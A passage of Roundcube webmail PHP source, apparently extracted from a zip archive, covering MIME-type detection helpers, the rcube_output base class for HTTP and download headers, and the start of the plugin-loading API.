            else if ($breakPos !== false && $breakPos < $width) {
                if ($breakPos === $stringLength - 1) {
                    $subString = $string;
                    $cutLength = null;
                }
                else {
                    $subString = mb_substr($string, 0, $breakPos);
                    $cutLength = $breakPos + 1;
                }
            }
            else {
                $subString = mb_substr($string, 0, $width);

                // last line
                if ($breakPos === false && $subString === $string) {
                    $cutLength = null;
                }
                else {
                    $nextChar = mb_substr($string, $width, 1);

                    if ($nextChar === ' ' || $nextChar === $separator) {
                        $afterNextChar = mb_substr($string, $width + 1, 1);

                        // Note: mb_substr() does never return False
                        if ($afterNextChar === false || $afterNextChar === '') {
                            $subString .= $nextChar;
                        }

                        $cutLength = mb_strlen($subString) + 1;
                    }
                    else {
                        $spacePos = mb_strrpos($subString, ' ', 0);

                        if ($spacePos !== false) {
                            $subString = mb_substr($subString, 0, $spacePos);
                            $cutLength = $spacePos + 1;
                        }
                        else if ($cut === false) {
                            $spacePos = mb_strpos($string, ' ', 0);

                            if ($spacePos !== false && ($breakPos === false || $spacePos < $breakPos)) {
                                $subString = mb_substr($string, 0, $spacePos);
                                $cutLength = $spacePos + 1;
                            }
                            else if ($breakPos === false) {
                                $subString = $string;
                                $cutLength = null;
                            }
                            else {
                                $subString = mb_substr($string, 0, $breakPos);
                                $cutLength = $breakPos + 1;
                            }
                        }
                        else {
                            $cutLength = $width;
                        }
                    }
                }
            }

            $result[] = $subString;

            if ($cutLength !== null) {
                $string = mb_substr($string, $cutLength, ($stringLength - $cutLength));
            }
            else {
                break;
            }
        }

        if ($charset && $charset != RCUBE_CHARSET) {
            mb_internal_encoding(RCUBE_CHARSET);
        }

        return implode($break, $result);
    }

    /**
     * A method to guess the mime_type of an attachment.
     *
     * @param string  $path        Path to the file or file contents
     * @param string  $name        File name (with suffix)
     * @param string  $failover    Mime type supplied for failover
     * @param bool    $is_stream   Set to True if $path contains file contents
     * @param bool    $skip_suffix Set to True if the config/mimetypes.php map should be ignored
     *
     * @return string
     * @author Till Klampaeckel <till@php.net>
     * @see    http://de2.php.net/manual/en/ref.fileinfo.php
     * @see    http://de2.php.net/mime_content_type
     */
    public static function file_content_type($path, $name, $failover = 'application/octet-stream', $is_stream = false, $skip_suffix = false)
    {
        $mime_type = null;
        $config    = rcube::get_instance()->config;

        // Detect mimetype using filename extension
        if (!$skip_suffix) {
            $mime_type = self::file_ext_type($name);
        }

        // try fileinfo extension if available
        if (!$mime_type && function_exists('finfo_open')) {
            $mime_magic = $config->get('mime_magic');
            // null as a 2nd argument should be the same as no argument
            // this however is not true on all systems/versions
            if ($mime_magic) {
                $finfo = finfo_open(FILEINFO_MIME, $mime_magic);
            }
            else {
                $finfo = finfo_open(FILEINFO_MIME);
            }

            if ($finfo) {
                $func      = $is_stream ? 'finfo_buffer' : 'finfo_file';
                $mime_type = $func($finfo, $path, FILEINFO_MIME_TYPE);
                finfo_close($finfo);
            }
        }

        // try PHP's mime_content_type
        if (!$mime_type && !$is_stream && function_exists('mime_content_type')) {
            $mime_type = @mime_content_type($path);
        }

        // fall back to user-submitted string
        if (!$mime_type) {
            $mime_type = $failover;
        }

        return $mime_type;
    }

    /**
     * File type detection based on file name only.
     *
     * @param string $filename Path to the file or file contents
     *
     * @return string|null Mimetype label
     */
    public static function file_ext_type($filename)
    {
        static $mime_ext = [];

        if (empty($mime_ext)) {
            foreach (rcube::get_instance()->config->resolve_paths('mimetypes.php') as $fpath) {
                $mime_ext = array_merge($mime_ext, (array) @include($fpath));
            }
        }

        // use file name suffix with hard-coded mime-type map
        if (!empty($mime_ext) && $filename) {
            $ext = strtolower(pathinfo($filename, PATHINFO_EXTENSION));
            if ($ext && !empty($mime_ext[$ext])) {
                return $mime_ext[$ext];
            }
        }
    }

    /**
     * Get mimetype => file extension mapping
     *
     * @param string $mimetype Mime-Type to get extensions for
     *
     * @return array List of extensions matching the given mimetype or a hash array
     *               with ext -> mimetype mappings if $mimetype is not given
     */
    public static function get_mime_extensions($mimetype = null)
    {
        static $mime_types, $mime_extensions;

        // return cached data
        if (is_array($mime_types)) {
            return $mimetype ? (isset($mime_types[$mimetype]) ? $mime_types[$mimetype] : []) : $mime_extensions;
        }

        // load mapping file
        $file_paths = [];

        if ($mime_types = rcube::get_instance()->config->get('mime_types')) {
            $file_paths[] = $mime_types;
        }

        // try common locations
        if (strtoupper(substr(PHP_OS, 0, 3)) == 'WIN') {
            $file_paths[] = 'C:/xampp/apache/conf/mime.types';
        }
        else {
            $file_paths[] = '/etc/mime.types';
            $file_paths[] = '/etc/httpd/mime.types';
            $file_paths[] = '/etc/httpd2/mime.types';
            $file_paths[] = '/etc/apache/mime.types';
            $file_paths[] = '/etc/apache2/mime.types';
            $file_paths[] = '/etc/nginx/mime.types';
            $file_paths[] = '/usr/local/etc/httpd/conf/mime.types';
            $file_paths[] = '/usr/local/etc/apache/conf/mime.types';
            $file_paths[] = '/usr/local/etc/apache24/mime.types';
        }

        $mime_types      = [];
        $mime_extensions = [];
        $lines = [];
        $regex = "/([\w\+\-\.\/]+)\s+([\w\s]+)/i";

        foreach ($file_paths as $fp) {
            if (@is_readable($fp)) {
                $lines = file($fp, FILE_IGNORE_NEW_LINES | FILE_SKIP_EMPTY_LINES);
                break;
            }
        }

        foreach ($lines as $line) {
             // skip comments or mime types w/o any extensions
            if ($line[0] == '#' || !preg_match($regex, $line, $matches)) {
                continue;
            }

            $mime = $matches[1];

            foreach (explode(' ', $matches[2]) as $ext) {
                $ext = trim($ext);
                $mime_types[$mime][]   = $ext;
                $mime_extensions[$ext] = $mime;
            }
        }

        // fallback to some well-known types most important for daily emails
        if (empty($mime_types)) {
            foreach (rcube::get_instance()->config->resolve_paths('mimetypes.php') as $fpath) {
                $mime_extensions = array_merge($mime_extensions, (array) @include($fpath));
            }

            foreach ($mime_extensions as $ext => $mime) {
                $mime_types[$mime][] = $ext;
            }
        }

        // Add some known aliases that aren't included by some mime.types (#1488891)
        // the order is important here so standard extensions have higher prio
        $aliases = [
            'image/gif'      => ['gif'],
            'image/png'      => ['png'],
            'image/x-png'    => ['png'],
            'image/jpeg'     => ['jpg', 'jpeg', 'jpe'],
            'image/jpg'      => ['jpg', 'jpeg', 'jpe'],
            'image/pjpeg'    => ['jpg', 'jpeg', 'jpe'],
            'image/tiff'     => ['tif'],
            'image/bmp'      => ['bmp'],
            'image/x-ms-bmp' => ['bmp'],
            'message/rfc822' => ['eml'],
            'text/x-mail'    => ['eml'],
        ];

        foreach ($aliases as $mime => $exts) {
            if (isset($mime_types[$mime])) {
                $mime_types[$mime] = array_unique(array_merge((array) $mime_types[$mime], $exts));
            }
            else {
                $mime_types[$mime] = $exts;
            }

            foreach ($exts as $ext) {
                if (!isset($mime_extensions[$ext])) {
                    $mime_extensions[$ext] = $mime;
                }
            }
        }

        if ($mimetype) {
            return !empty($mime_types[$mimetype]) ? $mime_types[$mimetype] : [];
        }

        return $mime_extensions;
    }

    /**
     * Detect image type of the given binary data by checking magic numbers.
     *
     * @param string $data  Binary file content
     *
     * @return string Detected mime-type or jpeg as fallback
     */
    public static function image_content_type($data)
    {
        $type = 'jpeg';
        if      (preg_match('/^\x89\x50\x4E\x47/', $data)) $type = 'png';
        else if (preg_match('/^\x47\x49\x46\x38/', $data)) $type = 'gif';
        else if (preg_match('/^\x00\x00\x01\x00/', $data)) $type = 'ico';
    //  else if (preg_match('/^\xFF\xD8\xFF\xE0/', $data)) $type = 'jpeg';

        return 'image/' . $type;
    }

    /**
     * Try to fix invalid email addresses
     */
    public static function fix_email($email)
    {
        $parts = rcube_utils::explode_quoted_string('@', $email);

        foreach ($parts as $idx => $part) {
            // remove redundant quoting (#1490040)
            if (isset($part[0]) && $part[0] == '"' && preg_match('/^"([a-zA-Z0-9._+=-]+)"$/', $part, $m)) {
                $parts[$idx] = $m[1];
            }
        }

        return implode('@', $parts);
    }

    /**
     * Fix mimetype name.
     *
     * @param string $type Mimetype
     *
     * @return string Mimetype
     */
    public static function fix_mimetype($type)
    {
        $type    = strtolower(trim($type));
        $aliases = [
            'image/x-ms-bmp' => 'image/bmp',        // #4771
            'pdf'            => 'application/pdf',  // #6816
        ];

        if (!empty($aliases[$type])) {
            return $aliases[$type];
        }

        // Some versions of Outlook create garbage Content-Type:
        // application/pdf.A520491B_3BF7_494D_8855_7FAC2C6C0608
        if (preg_match('/^application\/pdf.+/', $type)) {
            return 'application/pdf';
        }

        // treat image/pjpeg (image/pjpg, image/jpg) as image/jpeg (#4196)
        if (preg_match('/^image\/p?jpe?g$/', $type)) {
            return 'image/jpeg';
        }

        return $type;
    }
}
PK
h�\B�%��1�1&program/lib/Roundcube/rcube_output.phpnu�[���<?php

/**
 +-----------------------------------------------------------------------+
 | This file is part of the Roundcube webmail client                     |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 |                                                                       |
 | CONTENTS:                                                             |
 |   Abstract class for output generation                                |
 +-----------------------------------------------------------------------+
 | Author: Thomas Bruederli <roundcube@gmail.com>                        |
 | Author: Aleksander Machniak <alec@alec.pl>                            |
 +-----------------------------------------------------------------------+
*/

/**
 * Class for output generation
 *
 * @package    Framework
 * @subpackage View
 */
abstract class rcube_output
{
    public $browser;

    protected $app;
    protected $config;
    protected $charset = RCUBE_CHARSET;
    protected $env     = [];
    protected $skins   = [];


    /**
     * Object constructor
     */
    public function __construct()
    {
        $this->app     = rcube::get_instance();
        $this->config  = $this->app->config;
        $this->browser = new rcube_browser();
    }

    /**
     * Magic getter
     */
    public function __get($var)
    {
        // allow read-only access to some members
        switch ($var) {
            case 'env':     return $this->env;
            case 'skins':   return $this->skins;
            case 'charset': return $this->charset;
        }
    }

    /**
     * Setter for output charset.
     * To be specified in a meta tag and sent as http-header
     *
     * @param string $charset Charset name
     */
    public function set_charset($charset)
    {
        $this->charset = $charset;
    }

    /**
     * Getter for output charset
     *
     * @return string Output charset name
     */
    public function get_charset()
    {
        return $this->charset;
    }

    /**
     * Set environment variable
     *
     * @param string $name  Property name
     * @param mixed  $value Property value
     */
    public function set_env($name, $value)
    {
        $this->env[$name] = $value;
    }

    /**
     * Environment variable getter.
     *
     * @param string $name Property name
     *
     * @return mixed Property value
     */
    public function get_env($name)
    {
        return $this->env[$name] ?? null;
    }

    /**
     * Delete all stored env variables and commands
     */
    public function reset()
    {
        $this->env = [];
    }

    /**
     * Invoke display_message command
     *
     * @param string  $message  Message to display
     * @param string  $type     Message type [notice|confirm|error]
     * @param array   $vars     Key-value pairs to be replaced in localized text
     * @param bool    $override Override last set message
     * @param int     $timeout  Message displaying time in seconds
     */
    abstract function show_message($message, $type = 'notice', $vars = null, $override = true, $timeout = 0);

    /**
     * Redirect to a certain url.
     *
     * @param array|string $p     Either a string with the action or url parameters as key-value pairs
     * @param int          $delay Delay in seconds
     */
    abstract function redirect($p = [], $delay = 1);

    /**
     * Send output to the client.
     */
    abstract function send();

    /**
     * Send HTTP headers to prevent caching a page
     */
    public function nocacheing_headers()
    {
        if (headers_sent()) {
            return;
        }

        header("Expires: ".gmdate("D, d M Y H:i:s")." GMT");
        header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT");

        // We need to set the following headers to make downloads work using IE in HTTPS mode.
        if ($this->browser->ie && rcube_utils::https_check()) {
            header('Pragma: private');
            header("Cache-Control: private, must-revalidate");
        }
        else {
            header("Cache-Control: private, no-cache, no-store, must-revalidate, post-check=0, pre-check=0");
            header("Pragma: no-cache");
        }
    }

    /**
     * Send header with expire date 30 days in future
     *
     * @param int $offset Expiration time in seconds
     */
    public function future_expire_header($offset = 2600000)
    {
        if (headers_sent()) {
            return;
        }

        header("Expires: " . gmdate("D, d M Y H:i:s", time()+$offset) . " GMT");
        header("Cache-Control: max-age=$offset");
        header("Pragma: ");
    }

    /**
     * Send browser compatibility/security/privacy headers
     *
     * @param bool $privacy Enable privacy headers
     */
    public function common_headers($privacy = true)
    {
        if (headers_sent()) {
            return;
        }

        $headers = [];

        // Unlock IE compatibility mode
        if ($this->browser->ie) {
            $headers['X-UA-Compatible'] = 'IE=edge';
        }

        if ($privacy) {
            // Request browser to disable DNS prefetching (CVE-2010-0464)
            $headers['X-DNS-Prefetch-Control'] = 'off';

            // Request browser disable Referer (sic) header
            $headers['Referrer-Policy'] = 'same-origin';
        }

        // send CSRF and clickjacking protection headers
        if ($xframe = $this->app->config->get('x_frame_options', 'sameorigin')) {
            $headers['X-Frame-Options'] = $xframe;
        }

        $plugin = $this->app->plugins->exec_hook('common_headers', ['headers' => $headers, 'privacy' => $privacy]);

        foreach ($plugin['headers'] as $header => $value) {
            header("$header: $value");
        }
    }

    /**
     * Send headers related to file downloads.
     *
     * @param string $filename File name
     * @param array  $params   Optional parameters:
     *                         type         - File content type (default: 'application/octet-stream')
     *                         disposition  - Download type: 'inline' or 'attachment' (default)
     *                         length       - Content length
     *                         charset      - File name character set
     *                         type_charset - Content character set
     *                         time_limit   - Script execution limit (default: 3600)
     */
    public function download_headers($filename, $params = [])
    {
        // For security reasons we validate type, filename and charset params.
        // Some HTTP servers might drop a header that is malformed or very long, this then
        // can lead to web browsers unintentionally executing javascript code in the body.

        if (empty($params['disposition'])) {
            $params['disposition'] = 'attachment';
        }

        $ctype       = 'application/octet-stream';
        $disposition = $params['disposition'];

        if (!empty($params['type']) && is_string($params['type']) && strlen($params['type']) < 256
            && preg_match('/^[a-z0-9!#$&.+^_-]+\/[a-z0-9!#$&.+^_-]+$/i', $params['type'])
        ) {
            $ctype = $params['type'];
        }

        if ($disposition == 'inline' && stripos($ctype, 'text') === 0) {
            $charset = $this->charset;
            if (!empty($params['type_charset']) && rcube_charset::is_valid($params['type_charset'])) {
                $charset = $params['type_charset'];
            }

            $ctype .= "; charset={$charset}";
        }

        if (is_string($filename) && strlen($filename) > 0 && strlen($filename) <= 1024) {
            // For non-ascii characters we'll use RFC2231 syntax
            if (!preg_match('/[^a-zA-Z0-9_.:,?;@+ -]/', $filename)) {
                $disposition .= "; filename=\"{$filename}\"";
            }
            else {
                $filename = rawurlencode($filename);
                $charset  = $this->charset;
                if (!empty($params['charset']) && rcube_charset::is_valid($params['charset'])) {
                    $charset = $params['charset'];
                }

                $disposition .= "; filename*={$charset}''{$filename}";
            }
        }

        header("Content-Disposition: {$disposition}");
        header("Content-Type: {$ctype}");

        if ($params['disposition'] == 'attachment' && $this->browser->ie) {
            header("Content-Type: application/force-download");
        }

        if (isset($params['length'])) {
            header("Content-Length: " . $params['length']);
        }

        // don't kill the connection if download takes more than 30 sec.
        if (!array_key_exists('time_limit', $params)) {
            $params['time_limit'] = 3600;
        }

        if (is_numeric($params['time_limit'])) {
            @set_time_limit($params['time_limit']);
        }
    }

    /**
     * Show error page and terminate script execution
     *
     * @param int    $code     Error code
     * @param string $message  Error message
     */
    public function raise_error($code, $message)
    {
        // STUB: to be overloaded by specific output classes
        fwrite(STDERR, "Error $code: $message\n");
        exit(-1);
    }

    /**
     * Create an edit field for inclusion on a form
     *
     * @param string $name   Field name
     * @param string $value  Field value
     * @param array  $attrib HTML element attributes for the field
     * @param string $type   HTML element type (default 'text')
     *
     * @return string HTML field definition
     */
    public static function get_edit_field($name, $value, $attrib = [], $type = 'text')
    {
        static $colcounts = [];

        $fname           = '_' . $name;
        $attrib['name']  = $fname . (!empty($attrib['array']) ? '[]' : '');
        $attrib['class'] = trim((!empty($attrib['class']) ? $attrib['class'] : '') . ' ff_' . $name);

        if ($type == 'checkbox') {
            $attrib['value'] = '1';
            $input = new html_checkbox($attrib);
        }
        else if ($type == 'textarea') {
            if (!empty($attrib['size'])) {
                $attrib['cols'] = $attrib['size'];
            }
            $input = new html_textarea($attrib);
        }
        else if ($type == 'select') {
            $input = new html_select($attrib);
            if (empty($attrib['skip-empty'])) {
                $input->add('---', '');
            }
            if (!empty($attrib['options'])) {
                $input->add(array_values($attrib['options']), array_keys($attrib['options']));
            }
        }
        else if ($type == 'password' || (isset($attrib['type']) && $attrib['type'] == 'password')) {
            $input = new html_passwordfield($attrib);
        }
        else {
            if (!isset($attrib['type']) || ($attrib['type'] != 'text' && $attrib['type'] != 'hidden')) {
                $attrib['type'] = 'text';
            }
            $input = new html_inputfield($attrib);
        }

        // use value from post
        if (isset($_POST[$fname])) {
            $postvalue = rcube_utils::get_input_value($fname, rcube_utils::INPUT_POST, true);
            if (!empty($attrib['array'])) {
                if (!isset($colcounts[$name])) {
                    $colcounts[$name] = 0;
                }
                $idx   = intval($colcounts[$name]++);
                $value = $postvalue[$idx] ?? null;
            }
            else {
                $value = $postvalue;
            }
        }

        return $input->show($value);
    }

    /**
     * Convert a variable into a javascript object notation
     *
     * @param mixed $input  Input value
     * @param bool  $pretty Enable JSON formatting
     * @param bool  $inline Enable inline mode (generates output safe for use inside HTML)
     *
     * @return string Serialized JSON string
     */
    public static function json_serialize($input, $pretty = false, $inline = true)
    {
        $options = JSON_UNESCAPED_SLASHES | JSON_UNESCAPED_UNICODE | JSON_INVALID_UTF8_IGNORE;

        // JSON_HEX_TAG is needed for inlining JSON inside of the <script> tag
        // if input contains a html tag it will cause issues (#6207)
        if ($inline) {
            $options |= JSON_HEX_TAG;
        }

        if ($pretty) {
            $options |= JSON_PRETTY_PRINT;
        }

        return json_encode($input, $options);
    }
}
PK
h�\
eXC�p�p*program/lib/Roundcube/rcube_plugin_api.phpnu�[���<?php

/**
 +-----------------------------------------------------------------------+
 | This file is part of the Roundcube Webmail client                     |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 |                                                                       |
 | PURPOSE:                                                              |
 |   Plugins repository                                                  |
 +-----------------------------------------------------------------------+
 | Author: Thomas Bruederli <roundcube@gmail.com>                        |
 +-----------------------------------------------------------------------+
*/

// location where plugins are loaded from
if (!defined('RCUBE_PLUGINS_DIR')) {
    define('RCUBE_PLUGINS_DIR', RCUBE_INSTALL_PATH . 'plugins/');
}

/**
 * The plugin loader and global API
 *
 * @package    Framework
 * @subpackage PluginAPI
 */
class rcube_plugin_api
{
    static protected $instance;

    /** @var string */
    public $dir;
    /** @var string */
    public $url = 'plugins/';
    /** @var string */
    public $task = '';
    /** @var bool */
    public $initialized = false;

    public $output;
    public $handlers              = [];
    public $allowed_prefs         = [];
    public $allowed_session_prefs = [];
    public $active_plugins        = [];

    protected $plugins           = [];
    protected $plugins_initialized = [];
    protected $tasks             = [];
    protected $actions           = [];
    protected $actionmap         = [];
    protected $objectsmap        = [];
    protected $template_contents = [];
    protected $exec_stack        = [];
    protected $deprecated_hooks  = [];


    /**
     * This implements the 'singleton' design pattern
     *
     * @return rcube_plugin_api The one and only instance if this class
     */
    static function get_instance()
    {
        if (!self::$instance) {
            self::$instance = new rcube_plugin_api();
        }

        return self::$instance;
    }

    /**
     * Private constructor
     */
    protected function __construct()
    {
        $this->dir = slashify(RCUBE_PLUGINS_DIR);
    }

    /**
     * Initialize plugin engine
     *
     * This has to be done after rcmail::load_gui() or rcmail::json_init()
     * was called because plugins need to have access to rcmail->output
     *
     * @param rcube  $app  Instance of the rcube base class
     * @param string $task Current application task (used for conditional plugin loading)
     */
    public function init($app, $task = '')
    {
        $this->task   = $task;
        $this->output = $app->output;

        // register an internal hook
        $this->register_hook('template_container', [$this, 'template_container_hook']);
        // maybe also register a shutdown function which triggers
        // shutdown functions of all plugin objects

        foreach ($this->plugins as $plugin) {
            // ... task, request type and framed mode
            if (empty($this->plugins_initialized[$plugin->ID]) && !$this->filter($plugin)) {
                $plugin->init();
                $this->plugins_initialized[$plugin->ID] = $plugin;
            }
        }

        // we have finished initializing all plugins
        $this->initialized = true;
    }

    /**
     * Load and init all enabled plugins
     *
     * This has to be done after rcmail::load_gui() or rcmail::json_init()
     * was called because plugins need to have access to rcmail->output
     *
     * @param array $plugins_enabled  List of configured plugins to load
     * @param array $plugins_required List of plugins required by the application
     */
    public function load_plugins($plugins_enabled, $plugins_required = [])
    {
        foreach ($plugins_enabled as $plugin_name) {
            $this->load_plugin($plugin_name);
        }

        // check existence of all required core plugins
        foreach ($plugins_required as $plugin_name) {
            $loaded = false;
            foreach ($this->plugins as $plugin) {
                if ($plugin instanceof $plugin_name) {
                    $loaded = true;
                    break;
                }
            }

            // load required core plugin if no derivate was found
            if (!$loaded) {
                $loaded = $this->load_plugin($plugin_name);
            }

            // trigger fatal error if still not loaded
            if (!$loaded) {
                rcube::raise_error([
                        'code' => 520, 'file' => __FILE__, 'line' => __LINE__,
                        'message' => "Required plugin $plugin_name was not loaded"
                    ],
                    true, true
                );
            }
        }
    }

    /**
     * Load the specified plugin
     *
     * @param string $plugin_name Plugin name
     * @param bool   $force        Force loading of the plugin even if it doesn't match the filter
     * @param bool   $require      Require loading of the plugin, error if it doesn't exist
     *
     * @return bool True on success, false if not loaded or failure
     */
    public function load_plugin($plugin_name, $force = false, $require = true)
    {
        static $plugins_dir;

        if (!$plugins_dir) {
            $dir         = dir($this->dir);
            $plugins_dir = unslashify($dir->path);
        }

        // Validate the plugin name to prevent from path traversal
        if (preg_match('/[^a-zA-Z0-9_-]/', $plugin_name)) {
            rcube::raise_error([
                    'code' => 520, 'file' => __FILE__, 'line' => __LINE__,
                    'message' => "Invalid plugin name: $plugin_name"
                ],
                true, false
            );

            return false;
        }

        // plugin already loaded?
        if (!isset($this->plugins[$plugin_name])) {
            $fn = "$plugins_dir/$plugin_name/$plugin_name.php";

            if (!is_readable($fn)) {
                if ($require) {
                    rcube::raise_error([
                            'code' => 520, 'file' => __FILE__, 'line' => __LINE__,
                            'message' => "Failed to load plugin file $fn"
                        ],
                        true, false
                    );
                }

                return false;
            }

            if (!class_exists($plugin_name, false)) {
                include $fn;
            }

            // instantiate class if exists
            if (!class_exists($plugin_name, false)) {
                rcube::raise_error([
                        'code' => 520, 'file' => __FILE__, 'line' => __LINE__,
                        'message' => "No plugin class $plugin_name found in $fn"
                    ],
                    true, false
                );

                return false;
            }

            $plugin = new $plugin_name($this);
            $this->active_plugins[] = $plugin_name;

            // check inheritance...
            if (is_subclass_of($plugin, 'rcube_plugin')) {
                // call onload method on plugin if it exists.
                // this is useful if you want to be called early in the boot process
                if (method_exists($plugin, 'onload')) {
                    $plugin->onload();
                }

                if (!empty($plugin->allowed_prefs)) {
                    $this->allowed_prefs = array_merge($this->allowed_prefs, $plugin->allowed_prefs);
                }

                $this->plugins[$plugin_name] = $plugin;
            }
        }

        if (!empty($this->plugins[$plugin_name])) {
            $plugin = $this->plugins[$plugin_name];

            // init a plugin only if $force is set or if we're called after initialization
            if (
                ($force || $this->initialized)
                && empty($this->plugins_initialized[$plugin_name])
                && ($force || !$this->filter($plugin))
            ) {
                $plugin->init();
                $this->plugins_initialized[$plugin_name] = $plugin;
            }
        }

        return true;
    }

    /**
     * Check if we should prevent this plugin from initializing
     *
     * @param rcube_plugin $plugin Plugin object
     *
     * @return bool
     */
    private function filter($plugin)
    {
        return ($plugin->noajax  && !(is_object($this->output) && $this->output->type == 'html'))
             || ($plugin->task && !preg_match('/^('.$plugin->task.')$/i', $this->task))
             || ($plugin->noframe && !empty($_REQUEST['_framed']));
    }

    /**
     * Get information about a specific plugin.
     * This is either provided by a plugin's info() method or extracted from a package.xml or a composer.json file
     *
     * @param string $plugin_name Plugin name
     *
     * @return array Meta information about a plugin or False if plugin was not found
     */
    public function get_info($plugin_name)
    {
        static $composer_lock, $license_uris = [
            'Apache'       => 'http://www.apache.org/licenses/LICENSE-2.0.html',
            'Apache-2'     => 'http://www.apache.org/licenses/LICENSE-2.0.html',
            'Apache-1'     => 'http://www.apache.org/licenses/LICENSE-1.0',
            'Apache-1.1'   => 'http://www.apache.org/licenses/LICENSE-1.1',
            'GPL'          => 'http://www.gnu.org/licenses/gpl.html',
            'GPL-2.0'      => 'http://www.gnu.org/licenses/gpl-2.0.html',
            'GPL-2.0+'     => 'http://www.gnu.org/licenses/gpl.html',
            'GPL-3.0'      => 'http://www.gnu.org/licenses/gpl-3.0.html',
            'GPL-3.0+'     => 'http://www.gnu.org/licenses/gpl.html',
            'AGPL-3.0'     => 'http://www.gnu.org/licenses/agpl.html',
            'AGPL-3.0+'     => 'http://www.gnu.org/licenses/agpl.html',
            'LGPL'         => 'http://www.gnu.org/licenses/lgpl.html',
            'LGPL-2.0'     => 'http://www.gnu.org/licenses/lgpl-2.0.html',
            'LGPL-2.1'     => 'http://www.gnu.org/licenses/lgpl-2.1.html',
            'LGPL-3.0'     => 'http://www.gnu.org/licenses/lgpl.html',
            'LGPL-3.0+'    => 'http://www.gnu.org/licenses/lgpl.html',
            'BSD'          => 'http://opensource.org/licenses/bsd-license.html',
            'BSD-2-Clause' => 'http://opensource.org/licenses/BSD-2-Clause',
            'BSD-3-Clause' => 'http://opensource.org/licenses/BSD-3-Clause',
            'FreeBSD'      => 'http://opensource.org/licenses/BSD-2-Clause',
            'MIT'          => 'http://www.opensource.org/licenses/mit-license.php',
            'PHP'          => 'http://opensource.org/licenses/PHP-3.0',
            'PHP-3'        => 'http://www.php.net/license/3_01.txt',
            'PHP-3.0'      => 'http://www.php.net/license/3_0.txt',
            'PHP-3.01'     => 'http://www.php.net/license/3_01.txt',
        ];

        $dir  = dir($this->dir);
        $fn   = unslashify($dir->path) . "/$plugin_name/$plugin_name.php";
        $info = false;

        // Validate the plugin name to prevent from path traversal
        if (preg_match('/[^a-zA-Z0-9_-]/', $plugin_name)) {
            rcube::raise_error([
                    'code' => 520, 'file' => __FILE__, 'line' => __LINE__,
                    'message' => "Invalid plugin name: $plugin_name"
                ],
                true, false
            );

            return false;
        }

        if (!class_exists($plugin_name, false)) {
            if (is_readable($fn)) {
                include($fn);
            }
            else {
                return false;
            }
        }

        if (class_exists($plugin_name)) {
            $info = $plugin_name::info();
        }

        // fall back to composer.json file
        if (empty($info)) {
            $info = [];
            $composer = INSTALL_PATH . "/plugins/$plugin_name/composer.json";

            if (is_readable($composer) && ($json = json_decode(file_get_contents($composer), true))) {
                // Build list of plugins required
                $require = [];
                if (!empty($json['require'])) {
                    foreach (array_keys((array) $json['require']) as $dname) {
                        if (!preg_match('|^([^/]+)/([a-zA-Z0-9_-]+)$|', $dname, $m)) {
                            continue;
                        }

                        $vendor = $m[1];
                        $name   = $m[2];

                        if ($name != 'plugin-installer' && $vendor != 'pear' && $vendor != 'pear-pear') {
                            $dpath = unslashify($dir->path) . "/$name/$name.php";
                            if (is_readable($dpath)) {
                                $require[] = $name;
                            }
                        }
                    }
                }

                if (!empty($json['name']) && is_string($json['name']) && strpos($json['name'], '/') !== false) {
                    list($info['vendor'], $info['name']) = explode('/', $json['name'], 2);
                }

                $info['version'] = isset($json['version']) ? $json['version'] : null;
                $info['license'] = isset($json['license']) ? $json['license'] : null;
                $info['require'] = $require;

                if (!empty($json['homepage'])) {
                    $info['uri'] = $json['homepage'];
                }
            }

            // read local composer.lock file (once)
            if (!isset($composer_lock)) {
                $composer_lock = @json_decode(@file_get_contents(INSTALL_PATH . "/composer.lock"), true);
                if ($composer_lock && !empty($composer_lock['packages'])) {
                    foreach ($composer_lock['packages'] as $i => $package) {
                        $composer_lock['installed'][$package['name']] = $package;
                    }
                }
            }

            // load additional information from local composer.lock file
            if (!empty($json['name']) && $composer_lock && !empty($composer_lock['installed'])
                && !empty($composer_lock['installed'][$json['name']])
            ) {
                $lock            = $composer_lock['installed'][$json['name']];
                $info['version'] = $lock['version'];
                $info['uri']     = !empty($lock['homepage']) ? $lock['homepage'] : $lock['source']['url'];
                $info['src_uri'] = !empty($lock['dist']['url']) ? $lock['dist']['url'] : $lock['source']['url'];
            }
        }

        // fall back to package.xml file
        if (empty($info)) {
            $package = INSTALL_PATH . "/plugins/$plugin_name/package.xml";
            if (is_readable($package) && ($file = file_get_contents($package))) {
                $doc = new DOMDocument();
                $doc->loadXML($file);
                $xpath = new DOMXPath($doc);
                $xpath->registerNamespace('rc', "http://pear.php.net/dtd/package-2.0");

                // XPaths of plugin metadata elements
                $metadata = [
                    'name'        => 'string(//rc:package/rc:name)',
                    'version'     => 'string(//rc:package/rc:version/rc:release)',
                    'license'     => 'string(//rc:package/rc:license)',
                    'license_uri' => 'string(//rc:package/rc:license/@uri)',
                    'src_uri'     => 'string(//rc:package/rc:srcuri)',
                    'uri'         => 'string(//rc:package/rc:uri)',
                ];

                foreach ($metadata as $key => $path) {
                    $info[$key] = $xpath->evaluate($path);
                }

                // dependent required plugins (can be used, but not included in config)
                $deps = $xpath->evaluate('//rc:package/rc:dependencies/rc:required/rc:package/rc:name');
                for ($i = 0; $i < $deps->length; $i++) {
                    $dn = $deps->item($i)->nodeValue;
                    $info['require'][] = $dn;
                }
            }
        }

        // At least provide the name
        if (!$info && class_exists($plugin_name)) {
            $info = ['name' => $plugin_name, 'version' => '--'];
        }
        else if (!empty($info['license'])) {
            // Convert license identifier to something shorter
            if (preg_match('/^([ALGP]+)[-v]([0-9.]+)(\+|-or-later)?/', $info['license'], $matches)) {
                $info['license'] = $matches[1] . '-' . sprintf('%.1f', $matches[2])
                    . (!empty($matches[3]) ? '+' : '');
            }

            if (empty($info['license_uri']) && !empty($license_uris[$info['license']])) {
                $info['license_uri'] = $license_uris[$info['license']];
            }
        }

        return $info;
    }

    /**
     * Allows a plugin object to register a callback for a certain hook
     *
     * @param string   $hook     Hook name
     * @param callable $callback A callback function
     */
    public function register_hook($hook, $callback)
    {
        if (is_callable($callback)) {
            if (isset($this->deprecated_hooks[$hook])) {
                rcube::raise_error([
                        'code' => 522, 'file' => __FILE__, 'line' => __LINE__,
                        'message' => "Deprecated hook name. "
